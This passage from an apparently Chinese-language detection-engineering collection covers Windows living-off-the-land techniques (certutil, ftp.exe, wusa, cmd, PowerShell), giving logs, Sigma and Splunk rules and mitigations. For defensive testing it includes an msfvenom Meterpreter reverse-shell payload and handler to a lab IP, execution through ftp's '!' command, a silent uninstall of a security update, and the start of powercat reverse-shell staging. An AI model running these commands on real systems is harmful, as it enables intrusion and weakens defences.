11，检测下载文件的创建或写入。\n\n2. **Sigma规则**：\n   ```yaml\n   title: 可疑的Certutil命令执行Payload\n   id: 2b3c4d5e-6f7a-8b9c-0d1e-2f3c4d5e6f7a\n   status: stable\n   description: 检测certutil.exe执行可疑命令（如下载并运行Payload），可能表明恶意行为\n   references:\n     - https://attack.mitre.org/techniques/T1059/\n     - https://lolbas-project.github.io/lolbas/Binaries/Certutil/\n   tags:\n     - attack.execution\n     - attack.defense_evasion\n     - attack.t1059\n     - attack.t1140\n     - attack.t1105\n   logsource:\n     category: process_creation\n     product: windows\n   detection:\n     selection:\n       Image|endswith: '\\certutil.exe'\n       CommandLine|contains:\n         - '-urlcache'\n         - '/urlcache'\n         - '-split'\n         - '/split'\n         - '-f'\n         - '/f'\n         - 'http'\n     condition: selection\n   fields:\n     - CommandLine\n     - ParentCommandLine\n   falsepositives:\n     - 合法的证书管理或CRL检查\n     - 管理员运行的维护脚本\n   level: high\n   ```\n\n3. **SIEM规则**：\n   - 检测`certutil.exe`的异常下载行为。\n   - 示例Splunk查询：\n     ```spl\n     source=\"WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=1 Image=\"*\\certutil.exe\" (CommandLine=\"*urlcache*\" OR CommandLine=\"*split*\" OR CommandLine=\"*-f*\" OR CommandLine=\"*http*\") | stats count by Image, CommandLine, ComputerName, User\n     ```\n\n4. **网络流量分析**：\n   - 监控`certutil.exe`发起的HTTP/HTTPS请求，检测可疑URL。  \n   - 示例Wireshark过滤器：\n     ```plaintext\n     http.request and ip.src == <target_ip> and http.request.uri contains \".exe\"\n     ```\n\n5. **文件系统监控**：\n   - 检测`certutil.exe`下载的文件是否被执行。\n   - 示例Sysmon配置：\n     ```xml\n     <Sysmon schemaversion=\"4.81\">\n       <EventFiltering>\n         <FileCreate onmatch=\"include\">\n           <TargetFilename condition=\"contains\">shell.exe</TargetFilename>\n         </FileCreate>\n       </EventFiltering>\n     </Sysmon>\n     ```\n\n6. **威胁情报整合**：\n   - 检查`certutil.exe`访问的URL、IP或下载文件的哈希值是否与已知恶意活动相关，结合威胁情报平台（如VirusTotal、AlienVault）。\n\n## 建议\n\n### 缓解措施\n\n防御`certutil.exe`的恶意使用需从权限控制、系统加固和监控入手：\n\n1. **限制Certutil执行**  \n   - 配置AppLocker或组策略，限制非管理员用户运行`certutil.exe`。  \n\n2. **禁用不必要的功能**  \n   - 限制`certutil.exe`的网络访问功能（如`-urlcache`），通过组策略或脚本拦截相关命令。\n\n3. **网络访问控制**  \n   - 配置防火墙，限制`certutil.exe`的出站HTTP/HTTPS连接，仅允许白名单域名。  \n   - 使用代理服务器监控和过滤`certutil.exe`的网络流量。\n\n4. **凭据保护**  \n   - 启用多因素认证（MFA）保护管理员账户。  \n   - 实施强密码策略，避免凭据泄露。\n\n5. **日志和监控**  \n   - 启用命令行参数记录，增强Windows安全日志（事件ID 4688）或Sysmon（事件ID 1/3/11）监控。  \n   - 配置SIEM检测`certutil.exe`的异常命令行和下载行为。\n\n6. **定期审计**  \n   - 使用Sysinternals Process Monitor检查`certutil.exe`的进程活动，识别异常文件操作或网络请求。\n\n### 检测\n\n检测工作应集中在`certutil.exe`的异常下载和执行行为上，包括但不限于：  \n- **进程行为监控**：分析Sysmon或Windows安全日志，检测`certutil.exe`使用`-urlcache`或`-split`参数。  \n- **网络流量监控**：检查`certutil.exe`发起的HTTP/HTTPS请求，识别可疑URL。  \n- **文件系统监控**：检测下载文件（如`shell.exe`）的创建和执行。  \n- **威胁情报整合**：结合威胁情报，检查下载的URL或文件是否与已知恶意活动相关。\n\n## 参考推荐\n\n- MITRE ATT&CK: T1059  \n  <https://attack.mitre.org/techniques/T1059/>  \n- LOLBAS Project: Certutil  \n  <https://lolbas-project.github.io/lolbas/Binaries/Certutil/>  \n- Certutil Usage  \n  <https://blogs.technet.microsoft.com/pki/2006/11/30/basic-crl-checking-with-certutil/>"
  },
  {
    "path": "Windows/04执行/T1059-win-使用Ftp.exe执行Payload(白名单).md",
    "content": "# T1059-Win-使用Ftp.exe执行Payload（白名单）\n\n## 描述\n\n攻击者可能利用Windows命令行界面工具（如`ftp.exe`）与系统交互，执行恶意命令或Payload，以实现恶意代码执行、持久性或横向移动（T1059）。`ftp.exe`是Windows操作系统内置的命令行FTP客户端，用于与FTP服务器交互，传输文件。由于其白名单特性，`ftp.exe`常被攻击者滥用，通过其交互模式运行本地可执行文件或脚本，规避传统安全检测。\n\n攻击者可能通过`ftp.exe`的`!`命令在本地执行恶意Payload（如`payload.exe`），结合Metasploit反弹Shell。`ftp.exe`的默认路径（`C:\\Windows\\System32\\ftp.exe`或`C:\\Windows\\SysWOW64\\ftp.exe`）已被添加到系统环境变量`PATH`，因此可直接调用。检测重点在于监控`ftp.exe`的异常子进程、命令行参数和网络活动。\n\n## 测试案例\n\n1. **通过FTP执行本地Payload**  \n   攻击者上传恶意可执行文件到靶机，通过`ftp.exe`的`!`命令执行，获取Meterpreter反弹Shell。\n\n2. **结合FTP下载Payload**  \n   攻击者使用`ftp.exe`从远程FTP服务器下载恶意文件并执行。\n\n## 检测日志\n\n**Windows安全日志**  \n- **事件ID 4688**：记录进程创建，包含`ftp.exe`及其子进程（如`payload.exe`）的命令行参数（需启用命令行记录）。  \n- **事件ID 5156**：记录应用程序的网络连接，包含`payload.exe`的出站连接信息。  \n- **事件ID 4689**：记录进程终止，可能用于关联进程生命周期。\n\n**Sysmon日志**  \n- **事件ID 1**：记录进程创建，包含`ftp.exe`及其子进程的完整命令行、父进程和子进程信息。  \n- **事件ID 3**：记录网络连接，可能涉及`payload.exe`的反弹Shell或FTP通信。  \n- **事件ID 11**：记录文件创建，可能涉及下载的Payload文件。\n\n**配置日志记录**  \n- 启用命令行参数记录：  \n  - 路径：`本地计算机策略 > 计算机配置 > 管理模板 > 系统 > 审核进程创建 > 在进程创建事件中加入命令行 > 启用`（Windows Server 2008及以上）。  \n- 部署Sysmon以增强进程、文件和网络活动监控。\n\n## 测试复现\n\n### 环境准备\n- **攻击机**：Kali Linux 2019，安装Metasploit Framework。  \n- **靶机**：Windows Server 2012，安装Sysmon并启用Windows安全日志。  \n- **网络**：确保攻击机和靶机可通信（Shell端口53）。  \n- **文件**：`payload.exe`已上传至靶机路径`C:\\Users\\12306Br0\\Desktop\\a\\payload.exe`。\n\n### 攻击步骤\n1. **生成Payload**  \n   在攻击机上使用`msfvenom`生成恶意可执行文件：\n   ```bash\n   msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=192.168.126.146 LPORT=53 -e x86/shikata_ga_nai -b '\\x00\\x0a\\xff' -i 3 -f exe -o payload.exe\n   ```\n\n2. **设置Metasploit监听**  \n   在攻击机上配置并启动Metasploit handler：\n   ```bash\n   msf5 > use exploit/multi/handler\n   msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp\n   msf5 exploit(multi/handler) > set lhost 192.168.126.146\n   msf5 exploit(multi/handler) > set lport 53\n   msf5 exploit(multi/handler) > set AutoRunScript migrate -f\n   msf5 exploit(multi/handler) > exploit\n   [*] Started reverse TCP handler on 192.168.126.146:53\n   ```\n\n3. **靶机执行Payload**  \n   在靶机上启动`ftp.exe`并执行本地Payload：\n   ```cmd\n   ftp\n   ftp> !C:\\Users\\12306Br0\\Desktop\\a\\payload.exe\n   ```\n\n**注意**：此复现仅用于学习和测试目的，需在合法授权的测试环境中进行，切勿用于非法活动。\n\n4. **验证反弹Shell**  \n   检查Metasploit终端，确认收到反弹Shell并完成进程迁移：\n   ```bash\n   [*] Started reverse TCP handler on 192.168.126.146:53\n   [*] Sending stage (180291 bytes) to 192.168.126.149\n   [*] Meterpreter session 1 opened (192.168.126.146:53 -> 192.168.126.149:49219) at 2025-06-06 23:08 PDT\n   [*] Session ID 1 (192.168.126.146:53 -> 192.168.126.149:49219) processing AutoRunScript 'migrate -f'\n   [*] Current server process: payload.exe (2324)\n   [*] Spawning notepad.exe process to migrate to\n   [+] Migrating to 2888\n   [+] Successfully migrated to process\n   meterpreter > getuid\n   Server username: 12306Br0-PC\\12306Br0\n   ```\n\n## 测试留痕\n\n```log\nEventID:4688 #安全日志，windows server 2012以上配置审核策略，可对命令参数进行记录\n进程信息:\n新进程 ID: 0x474\n新进程名: C:\\Windows\\System32\\cmd.exe\n\nEventID:4688\n进程信息:\n新进程 ID: 0x3f8\n新进程名: C:\\Users\\12306Br0\\Desktop\\a\\payload.exe\n\nEventID:5156\n应用程序信息:\n进程 ID: 1016\n应用程序名称: \\device\\harddiskvolume2\\users\\12306br0\\desktop\\a\\payload.exe\n\n网络信息:\n方向: 出站\n源地址: 192.168.126.149\n源端口: 49221\n目标地址: 192.168.126.146\n目标端口: 53\n协议: 6\n\nEventID:1 #sysmon日志\nImage: C:\\Windows\\System32\\cmd.exe\nFileVersion: 6.1.7601.17514 (win7sp1_rtm.101119-1850)\nDescription: Windows Command Processor\nProduct: Microsoft® Windows® Operating System\nCompany: Microsoft Corporation\nOriginalFileName: Cmd.Exe\nCommandLine: C:\\Windows\\system32\\cmd.exe /C C:\\Users\\12306Br0\\Desktop\\a\\payload.exe\nCurrentDirectory: C:\\Windows\\system32\\\nUser: 12306Br0-PC\\12306Br0\nLogonGuid: {bb1f7c32-e7a1-5e9a-0000-0020ac500500}\nLogonId: 0x550ac\nTerminalSessionId: 1\nIntegrityLevel: High\nHashes: SHA1=0F3C4FF28F354AEDE202D54E9D1C5529A3BF87D8\nParentProcessGuid: {bb1f7c32-ed99-5e9a-0000-00105addaf00}\nParentProcessId: 1112\nParentImage: C:\\Windows\\System32\\ftp.exe\nParentCommandLine: ftp\n```\n\n## 检测规则/思路\n\n**检测规则**  \n通过分析Sysmon和Windows安全日志，检测`ftp.exe`执行Payload的异常行为。以下是具体思路：\n\n1. **日志分析**：\n   - 收集Sysmon事件ID 1或Windows安全事件ID 4688，提取`ftp.exe`及其子进程（如`cmd.exe`或`payload.exe`）的命令行参数。  \n   - 监控Sysmon事件ID 3，检测`payload.exe`的出站网络连接（如反弹Shell）。  \n   - 检查`ftp.exe`的父进程和命令行，识别是否通过`!`命令执行本地文件。\n\n2. **Sigma规则**：\n   ```yaml\n   title: 可疑的Ftp.exe执行Payload\n   id: 3c4d5e6f-7a8b-9c0d-1e2f-3c4d5e6f7a8b\n   status: experimental\n   description: 检测ftp.exe通过!命令执行本地Payload，可能表明恶意行为\n   references:\n     - https://attack.mitre.org/techniques/T1059/\n     - https://www.77169.net/html/235306.html\n   tags:\n     - attack.execution\n     - attack.t1059\n     - attack.t1105\n   logsource:\n     category: process_creation\n     product: windows\n   detection:\n     selection:\n       EventID:\n         - 1 # Sysmon\n         - 4688 # Windows安全日志\n       ParentImage|endswith: '\\ftp.exe'\n       Image|endswith:\n         - '\\cmd.exe'\n         - '\\powershell.exe'\n         - '.exe' # 可执行文件\n     condition: selection\n   fields:\n     - CommandLine\n     - ParentCommandLine\n   falsepositives:\n     - 合法的FTP客户端操作\n     - 管理员运行的自动化脚本\n   level: high\n   ```\n\n3. **SIEM规则**：\n   - 检测`ftp.exe`生成的可疑子进程。\n   - 示例Splunk查询：\n     ```spl\n     source=\"WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=1 ParentImage=\"*\\ftp.exe\" Image IN (\"*\\cmd.exe\", \"*\\powershell.exe\", \"*.exe\") | stats count by Image, CommandLine, ParentImage, ComputerName, User\n     ```\n\n4. **网络流量分析**：\n   - 监控`payload.exe`的出站连接，检测反弹Shell或FTP通信。  \n   - 示例Wireshark过滤器：\n     ```plaintext\n     tcp.port == 53 or ftp\n     ```\n\n5. **威胁情报整合**：\n   - 检查`payload.exe`的哈希值或网络连接的IP/URL是否与已知恶意活动相关，结合威胁情报平台（如VirusTotal、AlienVault）。\n\n## 建议\n\n### 缓解措施\n\n防御`ftp.exe`的恶意使用需从权限控制、系统加固和监控入手：\n\n1. **网络访问控制**  \n   - 配置防火墙，限制`ftp.exe`及其子进程的出站连接，仅允许白名单IP/端口。  \n   - 禁用靶机的FTP客户端功能，防止未经授权的连接。\n\n2. **凭据保护**  \n   - 启用多因素认证（MFA）保护管理员账户。  \n   - 实施强密码策略，避免凭据泄露。\n\n3. **日志和监控**  \n   - 启用命令行参数记录，增强Windows安全日志（事件ID 4688）或Sysmon（事件ID 1/3/11）监控。  \n   - 配置SIEM检测`ftp.exe`生成的可疑子进程或网络活动。\n\n4. **定期审计**  \n   - 使用Sysinternals Process Explorer检查`ftp.exe`的进程活动，识别异常子进程或网络请求。\n\n### 检测\n\n检测工作应集中在`ftp.exe`的异常子进程和网络行为上，包括但不限于：  \n- **子进程监控**：分析Sysmon或Windows安全日志，检测`ftp.exe`生成`cmd.exe`或其他可执行文件。  \n- **命令行分析**：检查`ftp.exe`的命令行参数，识别`!`命令执行本地文件的行为。  \n- **网络流量监控**：检测`payload.exe`的出站连接（如反弹Shell）。  \n- **威胁情报整合**：结合威胁情报，检查Payload文件的哈希值或网络连接是否与已知恶意活动相关。\n\n## 参考推荐\n\n- MITRE ATT&CK: T1059  \n  <https://attack.mitre.org/techniques/T1059/>  \n- 基于白名单Ftp.exe执行Payload  \n  <https://www.77169.net/html/235306.html>  \n- 基于白名单的Payload  \n  <https://blog.csdn.net/weixin_30790841/article/details/101848854>\n"
  },
  {
    "path": "Windows/04执行/T1059-win-使用wusa卸载系统更新.md",
    "content": "# T1059-Win-使用wusa卸载系统更新\n\n## 描述\n\n攻击者可能利用Windows命令行界面工具（如`wusa.exe`）与系统交互，执行恶意操作以实现防御规避或持久性（T1059）。`wusa.exe`（Windows Update Standalone Installer）是Windows操作系统内置的命令行工具，用于安装或卸载Windows更新补丁（`.msu`文件）。攻击者可滥用`wusa.exe`卸载特定的系统更新（如KB890830，Windows恶意软件删除工具），以移除安全补丁或检测工具，从而为后续攻击铺路。由于`wusa.exe`是白名单进程，其行为可能被误认为是合法操作，增加检测难度。\n\n常见攻击场景包括通过`wusa.exe`的`/uninstall`参数静默卸载安全更新，结合`/quiet`和`/norestart`选项避免用户察觉。检测重点在于监控`wusa.exe`的命令行参数（如`/uninstall`或`/extract`）以及异常的父进程和上下文。\n\n## 测试案例\n\n1. **卸载安全更新**  \n   攻击者使用`wusa.exe /uninstall /kb:890830 /quiet /norestart`卸载Windows恶意软件删除工具（KB890830）。\n\n2. **提取更新内容**  \n   攻击者通过`wusa.exe /extract`提取更新包内容，可能用于分析或篡改。\n\n## 检测日志\n\n**Windows安全日志**  \n- **事件ID 4688**：记录进程创建，包含`wusa.exe`的命令行参数（需启用命令行记录）。  \n- **事件ID 4689**：记录进程终止，可能用于关联进程生命周期。\n\n**Sysmon日志**  \n- **事件ID 1**：记录进程创建，包含`wusa.exe`的完整命令行、父进程和子进程信息。  \n- **事件ID 11**：记录文件创建或写入，可能涉及提取的更新文件。\n\n**Windows更新日志**  \n- **Microsoft-Windows-WindowsUpdateClient/Operational**：记录更新安装或卸载事件。  \n  - 事件ID 19：更新安装完成。  \n  - 事件ID 20：更新卸载完成。\n\n**配置日志记录**  \n- 启用命令行参数记录：  \n  - 路径：`本地计算机策略 > 计算机配置 > 管理模板 > 系统 > 审核进程创建 > 在进程创建事件中加入命令行 > 启用`（Windows Server 2008及以上）。  \n- 部署Sysmon以增强进程和文件活动监控。\n\n## 测试复现\n\n### 环境准备\n- **靶机**：Windows Server 2019或Windows 10，安装Sysmon并启用Windows安全日志。  \n- **权限**：测试账户需具备管理员权限（`wusa.exe`卸载更新需要高权限）。  \n- **更新**：确保目标更新（如KB890830）已安装，可通过`wmic qfe list`检查。\n\n### 攻击步骤\n1. **检查已安装更新**  \n   在靶机上运行以下命令，确认KB890830是否存在：\n   ```cmd\n   wmic qfe list | findstr \"890830\"\n   ```\n\n2. **执行卸载命令**  \n   在命令提示符（以管理员身份运行）中执行：\n   ```cmd\n   wusa /uninstall /kb:890830 /quiet /norestart\n   ```\n\n## 测试留痕\n\n```yml\n日志名称:          Security\n来源:            Microsoft-Windows-Security-Auditing\n日期:            2022/12/26 16:33:23\n事件 ID:         4688\n任务类别:          Process Creation\n级别:            信息\n关键字:           审核成功\n用户:            暂缺\n计算机:           WIN-SAPNNP06AE5.jackma.com\n描述:\n已创建新进程。\n\n创建者主题:\n\t安全 ID:\t\tJACKMA\\Administrator\n\t帐户名:\t\tAdministrator\n\t帐户域:\t\tJACKMA\n\t登录 ID:\t\t0x73509\n\n目标主题:\n\t安全 ID:\t\tNULL SID\n\t帐户名:\t\t-\n\t帐户域:\t\t-\n\t登录 ID:\t\t0x0\n\n进程信息:\n\t新进程 ID:\t\t0xf88\n\t新进程名称:\tC:\\Windows\\System32\\wusa.exe\n\t令牌提升类型:\t%%1936\n\t强制性标签:\t\tMandatory Label\\High Mandatory Level\n\t创建者进程 ID:\t0xa78\n\t创建者进程名称:\tC:\\Windows\\System32\\cmd.exe\n\t进程命令行:\twusa  /uninstall /kb:890830 /quiet /norestart\n```\n\n## 检测规则/思路\n\n**检测规则**  \n通过分析Sysmon、Windows安全日志和Windows更新日志，检测`wusa.exe`卸载系统更新的异常行为。以下是具体思路：\n\n1. **日志分析**：\n   - 收集Sysmon事件ID 1或Windows安全事件ID 4688，提取`wusa.exe`的命令行参数，重点关注`/uninstall`、`/extract`、`/quiet`和`/norestart`。  \n   - 监控Windows更新日志（事件ID 20），检测关键安全更新的卸载事件。  \n   - 检查`wusa.exe`的父进程，识别是否由异常进程（如`powershell.exe`）启动。\n\n2. **Sigma规则**：\n   ```yaml\n   title: 使用wusa卸载系统更新\n   id: 4d5e6f7a-8b9c-0d1e-2f3c-4d5e6f7a8b9c\n   status: stable\n   description: 检测wusa.exe卸载系统更新补丁，可能表明防御规避行为\n   references:\n     - https://attack.mitre.org/techniques/T1059/\n     - https://jingyan.baidu.com/article/75ab0bcbe20d5b97864db2ff.html\n   tags:\n     - attack.execution\n     - attack.defense_evasion\n     - attack.t1059\n   logsource:\n     category: process_creation\n     product: windows\n   detection:\n     selection:\n       Image|endswith: '\\wusa.exe'\n       CommandLine|contains:\n         - '/uninstall'\n         - '-uninstall'\n         - '/extract'\n         - '-extract'\n     condition: selection\n   fields:\n     - CommandLine\n     - ParentCommandLine\n   falsepositives:\n     - 合法的系统维护操作\n     - 管理员手动卸载更新\n   level: medium\n   ```\n\n3. **SIEM规则**：\n   - 检测`wusa.exe`的卸载或提取行为。\n   - 示例Splunk查询：\n     ```spl\n     source=\"WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=1 Image=\"*\\wusa.exe\" (CommandLine=\"*uninstall*\" OR CommandLine=\"*extract*\") | stats count by Image, CommandLine, ParentImage, ComputerName, User\n     ```\n\n4. **更新日志监控**：\n   - 检测关键安全更新的卸载事件。\n   - 示例Splunk查询：\n     ```spl\n     source=\"WinEventLog:Microsoft-Windows-WindowsUpdateClient/Operational\" EventCode=20 UpdateTitle=\"*KB890830*\" | stats count by UpdateTitle, Status, ComputerName\n     ```\n\n5. **威胁情报整合**：\n   - 检查卸载的更新（如KB890830）是否为已知安全补丁，结合威胁情报平台（如VirusTotal、AlienVault）分析后续行为。\n\n## 建议\n\n### 缓解措施\n\n防御`wusa.exe`的恶意使用需从权限控制、系统加固和监控入手：\n\n1. **限制Wusa执行**  \n   - 配置AppLocker或组策略，限制非管理员用户运行`wusa.exe`。  \n\n2. **限制更新卸载**  \n   - 配置组策略，禁止用户卸载Windows更新：  \n     - 路径：`计算机配置 > 管理模板 > Windows组件 > Windows更新 > 配置自动更新`。\n\n3. **权限控制**  \n   - 确保`wusa.exe`操作需要管理员权限，限制普通用户执行高权限命令。  \n   - 启用用户账户控制（UAC），提示高权限操作。\n\n4. **凭据保护**  \n   - 启用多因素认证（MFA）保护管理员账户。  \n   - 实施强密码策略，避免凭据泄露。\n\n5. **日志和监控**  \n   - 启用命令行参数记录，增强Windows安全日志（事件ID 4688）或Sysmon（事件ID 1）监控。  \n   - 配置SIEM检测`wusa.exe`的`/uninstall`或`/extract`行为。  \n   - 使用EDR/EPP工具监控`wusa.exe`的命令行参数和进程行为。\n\n6. **定期审计**  \n   - 使用`wmic qfe list`或PowerShell命令（如`Get-HotFix`）定期检查系统更新状态，识别异常卸载。  \n\n### 检测\n\n检测工作应集中在`wusa.exe`的卸载或提取行为上，包括但不限于：  \n- **进程行为监控**：分析Sysmon或Windows安全日志，检测`wusa.exe`使用`/uninstall`或`/extract`参数。  \n- **更新状态监控**：检查Windows更新日志，识别关键安全补丁的卸载事件。  \n- **父进程分析**：检测`wusa.exe`是否由异常父进程（如`powershell.exe`）启动。  \n- **威胁情报整合**：结合威胁情报，分析卸载的更新是否与已知攻击活动相关。\n\n## 参考推荐\n\n- MITRE ATT&CK: T1059  \n  <https://attack.mitre.org/techniques/T1059/>  \n- Win10 wusa命令卸载系统更新  \n  <https://jingyan.baidu.com/article/75ab0bcbe20d5b97864db2ff.html>"
  },
  {
    "path": "Windows/04执行/T1059-win-进程生成CMD.md",
    "content": "# T1059-Win-进程生成Cmd\n\n## 描述\n\n攻击者可能利用命令行界面（如Windows的`cmd.exe`）与系统交互，执行命令或启动其他软件，以实现信息收集、恶意代码执行或横向移动（T1059）。`cmd.exe`是Windows操作系统内置的命令提示符，提供命令行环境，支持运行内置命令（如`dir`、`copy`、`mkdir`）、批处理脚本（`.bat`）以及外部程序。攻击者可通过本地交互、远程桌面、反向Shell会话等方式运行`cmd.exe`，命令以当前进程的权限级别执行，除非涉及权限上下文更改（如计划任务T1053）。\n\n`cmd.exe`因其白名单特性常被攻击者滥用，典型场景包括通过异常父进程（如`winword.exe`或`acrord32.exe`）启动`cmd.exe`，表明可能的恶意文档加载或漏洞利用。检测重点在于识别异常的父进程或可疑的命令行参数，结合上下文分析攻击行为。\n\n## 测试案例\n\n1. **恶意文档触发CMD**  \n   攻击者通过Office文档（Word/Excel）中的宏或漏洞利用，启动`cmd.exe`执行恶意命令。\n\n2. **异常父进程生成CMD**  \n   非典型父进程（如`acrord32.exe`或`outlook.exe`）启动`cmd.exe`，运行可疑脚本或命令。\n\n## 检测日志\n\n**Windows安全日志**  \n- **事件ID 4688**：记录进程创建，包含`cmd.exe`的命令行参数、父进程和子进程信息。  \n  - 在Windows 10及以上版本中，事件ID 4688记录父进程信息。  \n- **事件ID 4689**：记录进程终止，可能用于关联进程生命周期。\n\n**Sysmon日志**  \n- **事件ID 1**：记录进程创建，包含`cmd.exe`的完整命令行、父进程和子进程信息。  \n- **事件ID 3**：记录网络连接，可能涉及`cmd.exe`执行的命令引发的网络活动。\n\n**配置日志记录**  \n- 启用命令行参数记录：`本地计算机策略 > 计算机配置 > 管理模板 > 系统 > 审核进程创建 > 在进程创建事件中加入命令行 > 启用`。  \n- 部署Sysmon以增强父进程和子进程关联监控。\n\n## 测试复现\n\n### 环境准备\n- **靶机**：Windows 7/10，启用Sysmon和Windows安全日志。  \n- **权限**：测试账户需具备本地权限。  \n- **工具**：无特殊工具，系统自带`cmd.exe`。\n\n### 攻击步骤\n1. **模拟正常CMD执行**  \n   在靶机上通过命令提示符或PowerShell运行`cmd.exe`：\n   ```cmd\n   cmd.exe\n   ```\n\n2. **模拟异常父进程**  \n   使用PowerShell模拟非典型父进程（如`notepad.exe`）启动`cmd.exe`：\n   ```powershell\n   Start-Process -FilePath \"notepad.exe\" -ArgumentList \"/c cmd.exe /c dir > C:\\temp\\output.txt\"\n   ```\n\n## 测试留痕\n\n- **Sysmon日志（事件ID 1）**：\n  ```plaintext\n  EventID: 1\n  Image: C:\\Windows\\System32\\cmd.exe\n  FileVersion: 6.1.7600.16385\n  Description: Windows Command Processor\n  CommandLine: cmd.exe /c dir > C:\\temp\\output.txt\n  ParentImage: C:\\Windows\\System32\\notepad.exe\n  User: <domain>\\12306Br0\n  IntegrityLevel: Medium\n  ```\n- **Windows安全日志（事件ID 4688，Windows 10）**：\n  ```plaintext\n  EventID: 4688\n  New Process ID: 0x1234\n  New Process Name: C:\\Windows\\System32\\cmd.exe\n  Process Command Line: cmd.exe /c dir > C:\\temp\\output.txt\n  Creator Process Name: C:\\Windows\\System32\\notepad.exe\n  Token Elevation Type: TokenElevationTypeLimited (3)\n  ```\n- **Windows安全日志（事件ID 4688，Windows 7）**：\n  ```plaintext\n  EventID: 4688\n  New Process ID: 0x1234\n  New Process Name: C:\\Windows\\System32\\cmd.exe\n  Process Command Line: cmd.exe /c dir > C:\\temp\\output.txt\n  Creator Process Name: N/A (Windows 7不记录父进程)\n  ```\n\n## 检测规则/思路\n\n**检测规则**  \n通过分析Sysmon和Windows安全日志，检测`cmd.exe`的异常父进程或可疑命令行参数。以下是具体思路：\n\n1. **日志分析**：\n   - 收集Sysmon事件ID 1或Windows安全事件ID 4688，提取`cmd.exe`的父进程和命令行参数。  \n   - 检测异常父进程（如`winword.exe`、`acrord32.exe`、`outlook.exe`）或可疑命令行（如运行脚本或网络工具）。\n\n2. **Sigma规则**：\n   ```yaml\n   title: 检测异常父进程生成CMD\n   id: 1a2b3c4d-5e6f-7a8b-9c0d-1e2f3c4d5e6f\n   status: stable\n   description: 检测cmd.exe由异常父进程生成，可能表明恶意行为\n   references:\n     - https://attack.mitre.org/techniques/T1059/\n   tags:\n     - attack.execution\n     - attack.t1059\n   logsource:\n     category: process_creation\n     product: windows\n   detection:\n     selection:\n       EventID:\n         - 1 # Sysmon\n         - 4688 # Windows安全日志\n       Image|endswith: '\\cmd.exe'\n       ParentImage|endswith:\n         - '\\winword.exe'\n         - '\\excel.exe'\n         - '\\powerpnt.exe'\n         - '\\acrord32.exe'\n         - '\\outlook.exe'\n         - '\\java.exe'\n         - '\\firefox.exe'\n         - '\\chrome.exe'\n     condition: selection\n   falsepositives:\n     - 合法的自动化脚本或管理工具\n     - 第三方软件调用cmd.exe\n   level: medium\n   ```\n\n3. **ELK规则**：\n   ```plaintext\n   process = search Process:Create\n   cmd = filter process where (exe == \"cmd.exe\" and parent.exe in (\"winword.exe\", \"excel.exe\", \"acrord32.exe\", \"outlook.exe\"))\n   output cmd\n   ```\n\n4. **SIEM规则**：\n   - 检测异常父进程生成的`cmd.exe`。\n   - 示例Splunk查询：\n     ```spl\n     source=\"WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=1 Image=\"*\\cmd.exe\" ParentImage IN (\"*\\winword.exe\", \"*\\excel.exe\", \"*\\acrord32.exe\", \"*\\outlook.exe\") | stats count by Image, CommandLine, ParentImage, ComputerName, User\n     ```\n\n5. **威胁情报整合**：\n   - 检查`cmd.exe`的命令行参数或后续行为（如网络连接、文件操作）是否与已知恶意活动相关，结合威胁情报平台（如VirusTotal、AlienVault）。\n\n## 参考推荐\n\n- MITRE ATT&CK: T1059  \n  <https://attack.mitre.org/techniques/T1059/>  \n- Windows重点监控事件ID表  \n  <https://www.96007.club/2019/08/21/21/>  \n- Windows Command Prompt  \n  <https://en.wikipedia.org/wiki/cmd.exe>"
  },
  {
    "path": "Windows/04执行/T1059.001-Win-使用Powershell.exe执行Payload(白名单).md",
    "content": "# T1059.Win-使用Powershell.exe执行Payload（白名单）\n\n## 描述\n\n攻击者可能滥用PowerShell（`powershell.exe`）执行命令和脚本，以实现信息发现、恶意代码执行、持久性或横向移动（T1059.001）。PowerShell是Windows操作系统内置的强大命令行和脚本环境，支持本地和远程操作。攻击者可通过PowerShell下载并执行远程Payload（如脚本或可执行文件），在内存中运行以规避磁盘检测，或直接调用系统API执行高级操作。由于`powershell.exe`是合法的白名单进程，其行为可能被误认为是正常操作，增加检测难度。\n\n常见的攻击场景包括通过PowerShell从远程服务器下载恶意脚本（如`powercat.ps1`），并建立反弹Shell或执行其他恶意操作。PowerShell的高灵活性使其成为攻击者青睐的工具，尤其在结合`Invoke-Expression`（IEX）、`Net.WebClient`等功能时，可轻松实现文件下载和动态执行。\n\n## 测试案例\n\n1. **反弹Shell建立**  \n   攻击者使用PowerShell下载并执行`powercat.ps1`，建立与攻击机的反弹Shell。\n\n2. **内存中Payload执行**  \n   攻击者通过PowerShell从远程服务器下载恶意脚本，在内存中执行以规避磁盘检测。\n\n## 检测日志\n\n**Windows PowerShell日志**  \n- **Microsoft-Windows-PowerShell/Operational**：记录PowerShell命令执行和脚本块信息。  \n  - 事件ID 4103：记录模块日志和命令执行。  \n  - 事件ID 4104：记录脚本块执行，包含下载和执行命令的详细信息。\n\n**Windows安全日志**  \n- **事件ID 4688**：记录进程创建，包含`powershell.exe`的命令行参数。\n\n**Sysmon日志**  \n- **事件ID 1**：记录进程创建，包含`powershell.exe`的完整命令行和父进程信息。  \n- **事件ID 3**：记录网络连接，可能涉及PowerShell发起的HTTP请求或反弹Shell。  \n- **事件ID 11**：记录文件创建，可能涉及下载的文件写入磁盘。\n\n**配置日志记录**  \n- 启用PowerShell日志：  \n  - 打开`gpedit.msc`：`计算机配置 > 管理模板 > Windows组件 > Windows PowerShell`。  \n  - 启用“启用模块日志记录”、“启用脚本块日志记录”和“启用脚本执行日志记录”。  \n- 启用命令行参数记录：`本地计算机策略 > 计算机配置 > 管理模板 > 系统 > 审核进程创建 > 在进程创建事件中加入命令行 > 启用`。  \n- 部署Sysmon以增强进程和网络活动监控。\n\n## 测试复现\n\n### 环境准备\n- **攻击机**：Kali Linux 2019或其他攻击平台，安装`powercat`和`nc`。  \n- **靶机**：Windows 7，安装Sysmon并启用PowerShell日志。  \n- **网络**：确保攻击机和靶机可通信（HTTP端口80，Shell端口1234）。  \n- **工具**：`powercat`（<https://github.com/besimorhino/powercat>）。\n\n### 攻击步骤\n1. **生成Payload**  \n   在攻击机上下载`powercat`：\n   ```bash\n   git clone https://github.com/besimorhino/powercat.git\n   ```\n\n2. **开启HTTP服务**  \n   在`powercat`目录下启动简单HTTP服务器：\n   ```bash\n   python2 -m SimpleHTTPServer 80\n   ```\n\n3. **设置监听**  